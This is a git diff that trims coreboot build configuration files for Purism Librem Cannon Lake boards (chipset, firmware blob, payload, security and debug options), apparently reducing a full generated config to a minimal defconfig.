set -CONFIG_COREBOOT_ROMSIZE_KB_16384=y -# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set -CONFIG_COREBOOT_ROMSIZE_KB=16384 -CONFIG_ROM_SIZE=0x01000000 -CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y -CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y -# CONFIG_POWER_STATE_OFF_AFTER_FAILURE is not set -CONFIG_POWER_STATE_ON_AFTER_FAILURE=y -# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set -CONFIG_MAINBOARD_POWER_FAILURE_STATE=1 -# end of Mainboard - -# -# Chipset -# - -# -# SoC -# -CONFIG_CHIPSET_DEVICETREE="soc/intel/cannonlake/chipset.cb" -CONFIG_FSP_M_FILE="$(obj)/Fsp_M.fd" -CONFIG_FSP_S_FILE="$(obj)/Fsp_S.fd" -CONFIG_CBFS_MCACHE_SIZE=0x4000 -CONFIG_ROMSTAGE_ADDR=0x2000000 -CONFIG_VERSTAGE_ADDR=0x2000000 -CONFIG_SMM_TSEG_SIZE=0x800000 -CONFIG_SMM_RESERVED_SIZE=0x200000 -CONFIG_SMM_MODULE_STACK_SIZE=0x800 -CONFIG_ACPI_BERT_SIZE=0x0 -CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=216 -CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 -CONFIG_ACPI_CPU_STRING="CP%02X" -CONFIG_STACK_SIZE=0x2000 -CONFIG_IFD_CHIPSET="cnl" -CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_MAX_ROOT_PORTS=16 -CONFIG_MAX_PCIE_CLOCK_SRC=6 -CONFIG_PCR_BASE_ADDRESS=0xfd000000 -CONFIG_CPU_BCLK_MHZ=100 -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_CLOCK_MHZ=120 -CONFIG_CPU_XTAL_HZ=24000000 -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_MAX=3 -CONFIG_SOC_INTEL_I2C_DEV_MAX=6 -CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_M_VAL=0x30 -CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_N_VAL=0xc35 -CONFIG_FSP_HEADER_PATH="3rdparty/fsp/CoffeeLakeFspBinPkg/Include/" -CONFIG_FSP_FD_PATH="3rdparty/fsp/CoffeeLakeFspBinPkg/Fsp.fd" -CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8258 -CONFIG_INTEL_GMA_BCLV_WIDTH=32 -CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8254 -CONFIG_INTEL_GMA_BCLM_WIDTH=32 -CONFIG_MAX_HECI_DEVICES=6 -CONFIG_BOOTBLOCK_IN_CBFS=y -CONFIG_HAVE_PAM0_REGISTER=y -CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_SOC_INTEL_CANNONLAKE_BASE=y -CONFIG_SOC_INTEL_WHISKEYLAKE=y -CONFIG_SOC_INTEL_CANNONLAKE_DEBUG_CONSENT=0 -CONFIG_INTEL_TXT_BIOSACM_ALIGNMENT=0x40000 -CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=4 -CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 -CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 -CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 -CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 -CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y -CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 -CONFIG_CBFS_CACHE_ALIGN=8 -CONFIG_SOC_INTEL_COMMON=y - -# -# Intel SoC Common Code for IP blocks -# -CONFIG_SOC_INTEL_COMMON_BLOCK=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_GPIO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_LPIT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPPC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CHIP_CONFIG=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CNVI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_MPINIT=y -CONFIG_USE_FSP_FEATURE_PROGRAM_ON_APS=y -# CONFIG_USE_COREBOOT_MP_INIT is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y -CONFIG_INTEL_CAR_NEM_ENHANCED=y -# CONFIG_USE_INTEL_FSP_MP_INIT is not set -CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y -CONFIG_HAVE_HYPERTHREADING=y -CONFIG_FSP_HYPERTHREADING=y -# CONFIG_INTEL_KEYLOCKER is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_CSE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HECI1_DISABLE_USING_SBI=y -CONFIG_SOC_INTEL_CSE_FMAP_NAME="SI_ME" -CONFIG_SOC_INTEL_CSE_RW_A_FMAP_NAME="ME_RW_A" -CONFIG_SOC_INTEL_CSE_RW_B_FMAP_NAME="ME_RW_B" -CONFIG_SOC_INTEL_CSE_RW_CBFS_NAME="me_rw" -CONFIG_SOC_INTEL_CSE_RW_HASH_CBFS_NAME="me_rw.hash" -CONFIG_SOC_INTEL_CSE_RW_VERSION_CBFS_NAME="me_rw.version" -CONFIG_SOC_INTEL_CSE_RW_FILE="" -CONFIG_SOC_INTEL_CSE_RW_VERSION="" -CONFIG_SOC_INTEL_CSE_IOM_CBFS_NAME="cse_iom" -CONFIG_SOC_INTEL_CSE_IOM_CBFS_FILE="" -CONFIG_SOC_INTEL_CSE_NPHY_CBFS_NAME="cse_nphy" -CONFIG_SOC_INTEL_CSE_NPHY_CBFS_FILE="" -CONFIG_SOC_INTEL_CSE_HAVE_SPEC_SUPPORT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ME_SPEC_12=y -CONFIG_ME_SPEC=12 -CONFIG_CSE_RESET_CLEAR_EC_AP_IDLE_FLAG=y -CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y -CONFIG_SOC_INTEL_COMMON_BLOCK_DTT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y -CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_ITSS_POL_CFG=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_DUAL_ROUTE_SUPPORT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GPMR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GRAPHICS=y -CONFIG_SOC_INTEL_CONFIGURE_DDI_A_4_LANES=y -# CONFIG_SOC_INTEL_DISABLE_IGD is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_VERSION_2=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HDA=y -CONFIG_SOC_INTEL_COMMON_BLOCK_HDA_VERB=y -CONFIG_SOC_INTEL_COMMON_BLOCK_I2C=y -CONFIG_SOC_INTEL_COMMON_BLOCK_IRQ=y -CONFIG_SOC_INTEL_COMMON_BLOCK_ITSS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPC_MIRROR_TO_GPMR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_LPSS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_BASE_P2SB=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PCR=y -CONFIG_SOC_INTEL_COMMON_BLOCK_PMC=y -CONFIG_SOC_INTEL_MEM_MAPPED_PM_CONFIGURATION=y -CONFIG_PMC_GLOBAL_RESET_ENABLE_LOCK=y -CONFIG_SOC_INTEL_COMMON_BLOCK_POWER_LIMIT=y -CONFIG_SOC_INTEL_COMMON_BLOCK_RTC=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SATA=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SCS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMBUS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TCO=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TCO_ENABLE_THROUGH_SMBUS=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y -# CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_TCO_ENABLE is not set -CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 -CONFIG_HECI_DISABLE_USING_SMM=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y -CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y -CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y -CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y -CONFIG_SOC_INTEL_COMMON_BLOCK_UART=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XDCI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI=y -CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y - -# -# Intel SoC Common PCH Code -# -CONFIG_SOC_INTEL_COMMON_PCH_CLIENT=y -CONFIG_SOC_INTEL_COMMON_PCH_BASE=y -CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN=y -CONFIG_PCH_SPECIFIC_BASE_OPTIONS=y -CONFIG_PCH_SPECIFIC_DISCRETE_OPTIONS=y -CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y - -# -# Intel SoC Common coreboot stages and non-IP blocks -# -CONFIG_SOC_INTEL_COMMON_BASECODE=y -CONFIG_SOC_INTEL_COMMON_RESET=y -CONFIG_SOC_INTEL_COMMON_ACPI_WAKE_SOURCE=y -CONFIG_PAVP=y -CONFIG_SOC_INTEL_COMMON_NHLT=y -# CONFIG_SOC_INTEL_DEBUG_CONSENT is not set - -# -# CPU -# -CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE=y -CONFIG_CPU_INTEL_COMMON=y -CONFIG_ENABLE_VMX=y -CONFIG_SET_IA32_FC_LOCK_BIT=y -CONFIG_SET_MSR_AESNI_LOCK_BIT=y -CONFIG_CPU_INTEL_COMMON_SMM=y -CONFIG_PARALLEL_MP=y -CONFIG_PARALLEL_MP_AP_WORK=y -CONFIG_XAPIC_ONLY=y -# CONFIG_X2APIC_ONLY is not set -# CONFIG_X2APIC_RUNTIME is not set -# CONFIG_X2APIC_LATE_WORKAROUND is not set -CONFIG_UDELAY_TSC=y -CONFIG_TSC_MONOTONIC_TIMER=y -CONFIG_X86_CLFLUSH_CAR=y -CONFIG_HAVE_SMI_HANDLER=y -CONFIG_SMM_TSEG=y -CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 -CONFIG_AP_STACK_SIZE=0x800 -CONFIG_SMP=y -CONFIG_SSE=y -CONFIG_SSE2=y -CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y -CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y -# CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS is not set CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS=y -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set -# CONFIG_CPU_MICROCODE_CBFS_NONE is not set CONFIG_CPU_UCODE_BINARIES="3rdparty/purism-blobs/mainboard/purism/librem_cnl/cpu_microcode_blob.bin" - -# -# Northbridge -# - -# -# Southbridge -# -# CONFIG_PCIEXP_HOTPLUG is not set -CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y -CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y -# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set -CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 -CONFIG_RCBA_LENGTH=0x4000 - -# -# Super I/O -# -CONFIG_SUPERIO_ITE_COMMON_PRE_RAM=y -CONFIG_SUPERIO_ITE_IT8528E=y - -# -# Embedded Controllers -# - -# -# Intel Firmware -# CONFIG_HAVE_ME_BIN=y -# CONFIG_STITCH_ME_BIN is not set -# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set -# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set -# CONFIG_LOCK_MANAGEMENT_ENGINE is not set -CONFIG_UNLOCK_FLASH_REGIONS=y -CONFIG_UDK_BASE=y -CONFIG_UDK_2017_BINDING=y -CONFIG_UDK_2013_VERSION=2013 -CONFIG_UDK_2017_VERSION=2017 -CONFIG_UDK_202005_VERSION=202005 -CONFIG_UDK_202302_VERSION=202302 -CONFIG_UDK_VERSION=2017 -CONFIG_ARCH_X86=y -CONFIG_ARCH_BOOTBLOCK_X86_32=y -CONFIG_ARCH_VERSTAGE_X86_32=y -CONFIG_ARCH_ROMSTAGE_X86_32=y -CONFIG_ARCH_POSTCAR_X86_32=y -CONFIG_ARCH_RAMSTAGE_X86_32=y -CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y -CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y -CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 -CONFIG_PC80_SYSTEM=y -CONFIG_HAVE_CMOS_DEFAULT=y -CONFIG_POSTCAR_STAGE=y -CONFIG_BOOTBLOCK_SIMPLE=y -# CONFIG_BOOTBLOCK_NORMAL is not set -CONFIG_COLLECT_TIMESTAMPS_TSC=y -CONFIG_IDT_IN_EVERY_STAGE=y -CONFIG_HAVE_CF9_RESET=y -CONFIG_ACPI_CF9_FULL_RESET=y -CONFIG_DEBUG_HW_BREAKPOINTS=y -CONFIG_DEBUG_HW_BREAKPOINTS_IN_ALL_STAGES=y -CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y -CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS_IN_ALL_STAGES=y -# CONFIG_DUMP_SMBIOS_TYPE17 is not set -# end of Chipset - -# -# Devices -# -CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y -CONFIG_HAVE_LINEAR_FRAMEBUFFER=y -CONFIG_HAVE_FSP_GOP=y -CONFIG_MAINBOARD_HAS_LIBGFXINIT=y -CONFIG_MAINBOARD_USE_LIBGFXINIT=y -# CONFIG_VGA_ROM_RUN is not set -# CONFIG_RUN_FSP_GOP is not set -# CONFIG_NO_GFX_INIT is not set -CONFIG_NO_EARLY_GFX_INIT=y - -# -# Display -# -# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y -CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -# end of Display - -CONFIG_PCI=y -CONFIG_ECAM_MMCONF_SUPPORT=y -CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_AZALIA_HDA_CODEC_SUPPORT=y -CONFIG_AZALIA_LOCK_DOWN_R_WO_GCAP=y -CONFIG_PCIEXP_PLUGIN_SUPPORT=y -CONFIG_ECAM_MMCONF_LENGTH=0x10000000 -CONFIG_PCI_ALLOW_BUS_MASTER=y -CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y -CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y -# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set -# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -# CONFIG_EARLY_PCI_BRIDGE is not set -CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 -CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 -CONFIG_INTEL_GMA_HAVE_VBT=y -CONFIG_INTEL_GMA_ADD_VBT=y -# CONFIG_SOFTWARE_I2C is not set -CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 -CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y -# end of Devices - -# -# Generic Drivers -# -CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 -# CONFIG_DRIVERS_EFI_VARIABLE_STORE is not set -# CONFIG_ELOG is not set -CONFIG_CACHE_MRC_SETTINGS=y -CONFIG_MRC_SETTINGS_PROTECT=y -# CONFIG_SMMSTORE is not set -CONFIG_SPI_FLASH=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y -# CONFIG_SPI_FLASH_NO_FAST_READ is not set -CONFIG_NO_UART_ON_SUPERIO=y -# CONFIG_DRIVERS_UART_OXPCIE is not set -# CONFIG_VPD is not set -CONFIG_DRIVERS_GENERIC_CBFS_SERIAL=y -# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set -CONFIG_DRIVERS_I2C_DESIGNWARE=y -# CONFIG_DRIVERS_I2C_MAX98396 is not set -CONFIG_HAVE_DPTF_EISA_HID=y -CONFIG_FSP_USE_REPO=y -# CONFIG_DISPLAY_HOBS is not set -# CONFIG_DISPLAY_UPD_DATA is not set -# CONFIG_BMP_LOGO is not set -CONFIG_PLATFORM_USES_FSP2_0=y -CONFIG_PLATFORM_USES_FSP2_X86_32=y -CONFIG_HAVE_INTEL_FSP_REPO=y -CONFIG_ADD_FSP_BINARIES=y -CONFIG_FSP_T_LOCATION=0xfffe0000 -CONFIG_FSP_S_CBFS="fsps.bin" -CONFIG_FSP_M_CBFS="fspm.bin" -CONFIG_FSP_FULL_FD=y -CONFIG_FSP_T_RESERVED_SIZE=0x0 -CONFIG_FSP_M_XIP=y -CONFIG_FSP_USES_CB_STACK=y -CONFIG_HAVE_FSP_LOGO_SUPPORT=y -CONFIG_FSP_COMPRESS_FSP_S_LZMA=y -CONFIG_FSP_STATUS_GLOBAL_RESET_REQUIRED_3=y -CONFIG_FSP_STATUS_GLOBAL_RESET=0x40000003 -CONFIG_SOC_INTEL_COMMON_FSP_RESET=y -CONFIG_USE_FSP_NOTIFY_PHASE_POST_PCI_ENUM=y -CONFIG_USE_FSP_NOTIFY_PHASE_READY_TO_BOOT=y -CONFIG_USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE=y -# CONFIG_DISPLAY_FSP_TIMESTAMPS is not set -CONFIG_INTEL_GMA_ACPI=y -CONFIG_VBT_CBFS_COMPRESSION_LZMA=y -# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set -# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set -CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" -CONFIG_GFX_GMA=y -CONFIG_GFX_GMA_DYN_CPU=y -CONFIG_GFX_GMA_GENERATION="Skylake" -CONFIG_GFX_GMA_PCH="Cannon_Point" -CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" -CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" -# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set -# CONFIG_DRIVERS_PS2_KEYBOARD is not set -CONFIG_DRIVERS_MC146818=y -# CONFIG_USE_PC_CMOS_ALTCENTURY is not set -CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 -# CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_USB_ACPI=y -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y -# end of Generic Drivers - -# -# Security -# - -# -# CBFS verification -# -# CONFIG_CBFS_VERIFICATION is not set -# end of CBFS verification - -# -# Verified Boot (vboot) -# -# end of Verified Boot (vboot) - -# -# Trusted Platform Module -# -CONFIG_NO_TPM=y -CONFIG_PCR_BOOT_MODE=1 -CONFIG_PCR_HWID=1 -CONFIG_PCR_SRTM=2 -CONFIG_PCR_FW_VER=10 -CONFIG_PCR_RUNTIME_DATA=3 -# end of Trusted Platform Module - -# -# Memory initialization -# -CONFIG_PLATFORM_HAS_DRAM_CLEAR=y -# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set -# end of Memory initialization - -# CONFIG_STM is not set -# CONFIG_INTEL_CBNT_SUPPORT is not set -CONFIG_BOOTMEDIA_LOCK_NONE=y -# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set -# CONFIG_BOOTMEDIA_LOCK_CHIP is not set -# CONFIG_BOOTMEDIA_SMM_BWP is not set -# end of Security - -CONFIG_ACPI_HAVE_PCAT_8259=y -CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y -CONFIG_ACPI_SOC_NVS=y -CONFIG_ACPI_CUSTOM_MADT=y -CONFIG_ACPI_NO_CUSTOM_MADT=y -CONFIG_ACPI_COMMON_MADT_LAPIC=y -CONFIG_ACPI_COMMON_MADT_IOAPIC=y -CONFIG_HAVE_ACPI_TABLES=y -CONFIG_ACPI_LPIT=y -CONFIG_BOOT_DEVICE_SPI_FLASH=y -CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y -CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y -CONFIG_RTC=y -CONFIG_HEAP_SIZE=0x100000 - -# -# Console -# -CONFIG_BOOTBLOCK_CONSOLE=y -CONFIG_POSTCAR_CONSOLE=y -CONFIG_SQUELCH_EARLY_SMP=y -# CONFIG_SPKMODEM is not set -# CONFIG_CONSOLE_NE2K is not set -CONFIG_CONSOLE_CBMEM=y -# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set -# CONFIG_CONSOLE_SPI_FLASH is not set -# CONFIG_CONSOLE_I2C_SMBUS is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 -CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y -CONFIG_CONSOLE_USE_ANSI_ESCAPES=y -CONFIG_HWBASE_DEBUG_CB=y -# end of Console - -CONFIG_ACPI_S1_NOT_SUPPORTED=y -CONFIG_HAVE_ACPI_RESUME=y -CONFIG_RESUME_PATH_SAME_AS_BOOT=y -CONFIG_HAVE_MONOTONIC_TIMER=y -CONFIG_HAVE_OPTION_TABLE=y -CONFIG_IOAPIC=y -CONFIG_ACPI_NHLT=y - -# -# System tables -# -CONFIG_GENERATE_SMBIOS_TABLES=y -CONFIG_BIOS_VENDOR="coreboot" -CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" -# end of System tables - -# -# Payload -# -# CONFIG_PAYLOAD_NONE is not set -# CONFIG_PAYLOAD_ELF is not set -# CONFIG_PAYLOAD_BOOTBOOT is not set -# CONFIG_PAYLOAD_FILO is not set -# CONFIG_PAYLOAD_GRUB2 is not set -# CONFIG_PAYLOAD_SEAGRUB is not set -# CONFIG_PAYLOAD_LINUXBOOT is not set -# CONFIG_PAYLOAD_SEABIOS is not set -# CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" -# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set -CONFIG_COMPRESS_SECONDARY_PAYLOAD=y - -# -# Secondary Payloads -# -# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set -# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set -# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set -# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set -# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set -# CONFIG_TINT_SECONDARY_PAYLOAD is not set -# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set -# end of Secondary Payloads -# end of Payload - -# -# Debugging -# - -# -# CPU Debug Settings -# -# CONFIG_DISPLAY_MTRRS is not set - -# -# Vendorcode Debug Settings -# - -# -# BLOB Debug Settings -# -# CONFIG_DISPLAY_FSP_CALLS_AND_STATUS is not set -# CONFIG_DISPLAY_FSP_HEADER is not set -# CONFIG_VERIFY_HOBS is not set -CONFIG_DISPLAY_FSP_VERSION_INFO=y -CONFIG_HAVE_GPIO_SNAPSHOT_VERIFY_SUPPORT=y -# CONFIG_CHECK_GPIO_CONFIG_CHANGES is not set - -# -# General Debug Settings -# -# CONFIG_FATAL_ASSERTS is not set -CONFIG_HAVE_DEBUG_GPIO=y -# CONFIG_DEBUG_GPIO is not set -# CONFIG_DEBUG_CBFS is not set -CONFIG_HAVE_DEBUG_SMBUS=y -# CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_MALLOC is not set -# CONFIG_DEBUG_CONSOLE_INIT is not set -# CONFIG_DEBUG_SPI_FLASH is not set -# CONFIG_DEBUG_BOOT_STATE is not set -# CONFIG_DEBUG_ADA_CODE is not set -CONFIG_HAVE_EM100_SUPPORT=y -# CONFIG_EM100 is not set -# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set -# end of Debugging - -CONFIG_RAMSTAGE_ADA=y -CONFIG_RAMSTAGE_LIBHWBASE=y -CONFIG_SPD_READ_BY_WORD=y -CONFIG_SPD_CACHE_IN_FMAP=y -CONFIG_SPD_CACHE_FMAP_NAME="RW_SPD_CACHE" -CONFIG_HWBASE_DYNAMIC_MMIO=y -CONFIG_HWBASE_DEFAULT_MMCONF=0xe0000000 -CONFIG_HWBASE_DIRECT_PCIDEV=y -CONFIG_DECOMPRESS_OFAST=y -CONFIG_WARNINGS_ARE_ERRORS=y -CONFIG_MAX_REBOOT_CNT=3 -CONFIG_RELOCATABLE_MODULES=y -CONFIG_GENERIC_GPIO_LIB=y -CONFIG_HAVE_BOOTBLOCK=y -CONFIG_HAVE_ROMSTAGE=y -CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-librem_mini_v2.config b/config/coreboot-librem_mini_v2.config index 28a87a56a..178f9e010 100644 --- a/config/coreboot-librem_mini_v2.config +++ b/config/coreboot-librem_mini_v2.config @@ -1,796 +1,21 @@ -# -# Automatically generated file; DO NOT EDIT. -# coreboot configuration -# - -# -# General setup -# -CONFIG_COREBOOT_BUILD=y -CONFIG_LOCALVERSION="" -CONFIG_CBFS_PREFIX="fallback" -CONFIG_COMPILER_GCC=y -# CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y -# CONFIG_ANY_TOOLCHAIN is not set -# CONFIG_CCACHE is not set -# CONFIG_IWYU is not set -# CONFIG_FMD_GENPARSER is not set -# CONFIG_UTIL_GENPARSER is not set -# CONFIG_OPTION_BACKEND_NONE is not set CONFIG_USE_OPTION_TABLE=y -# CONFIG_STATIC_OPTION_TABLE is not set -CONFIG_COMPRESS_RAMSTAGE_LZMA=y -# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set -CONFIG_SEPARATE_ROMSTAGE=y -CONFIG_INCLUDE_CONFIG_FILE=y -CONFIG_COLLECT_TIMESTAMPS=y -# CONFIG_TIMESTAMPS_ON_CONSOLE is not set -CONFIG_USE_BLOBS=y -# CONFIG_USE_AMD_BLOBS is not set -# CONFIG_USE_QC_BLOBS is not set -# CONFIG_COVERAGE is not set -# CONFIG_UBSAN is not set -CONFIG_HAVE_ASAN_IN_RAMSTAGE=y -# CONFIG_ASAN is not set -# CONFIG_NO_STAGE_CACHE is not set -CONFIG_TSEG_STAGE_CACHE=y -# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 -# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set -# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set - -# -# Software Bill Of Materials (SBOM) -# -# CONFIG_SBOM is not set -# end of Software Bill Of Materials (SBOM) -# end of General setup - -# -# Mainboard -# - -# 